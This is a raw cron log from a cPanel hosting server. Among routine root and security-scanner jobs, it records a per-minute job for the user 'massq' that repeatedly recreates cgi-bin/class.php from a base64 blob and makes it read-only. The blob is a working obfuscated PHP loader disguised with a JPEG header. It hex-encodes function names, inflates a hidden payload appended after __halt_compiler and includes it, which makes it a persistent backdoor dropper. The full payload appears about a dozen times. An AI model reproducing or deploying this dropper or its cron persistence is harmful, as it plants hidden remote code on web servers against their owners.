Sep 12 09:30:01 server CROND[26407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:30:01 server CROND[26408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:30:01 server CROND[26409]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:30:01 server CROND[26415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:30:01 server CROND[26416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:31:01 server CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:31:01 server CROND[27234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:31:01 server CROND[27235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:32:01 server CROND[27615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:32:01 server CROND[27616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:32:01 server CROND[27617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:33:01 server CROND[28101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:33:01 server CROND[28102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:33:01 server CROND[28103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:34:01 server CROND[28487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:34:01 server CROND[28488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:34:01 server CROND[28489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:35:01 server CROND[28883]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 09:35:01 server CROND[28890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:35:01 server CROND[28891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:35:01 server CROND[28886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:35:01 server CROND[28892]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:35:01 server CROND[28889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:35:01 server CROND[28887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:35:01 server CROND[28888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:35:01 server CROND[28895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:36:01 server CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:36:01 server CROND[29730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:36:01 server CROND[29731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:37:01 server CROND[30115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:37:01 server CROND[30116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:37:01 server CROND[30118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:38:01 server CROND[30590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:38:01 server CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:38:01 server CROND[30592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:39:01 server CROND[30983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:39:01 server CROND[30984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:39:01 server CROND[30985]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 09:39:01 server CROND[30986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:40:01 server CROND[31379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:40:01 server CROND[31380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:40:01 server CROND[31386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:40:01 server CROND[31387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:40:01 server CROND[31390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:40:01 server CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:40:01 server CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:40:01 server CROND[31389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:41:01 server CROND[32231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:41:01 server CROND[32232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:41:01 server CROND[32233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
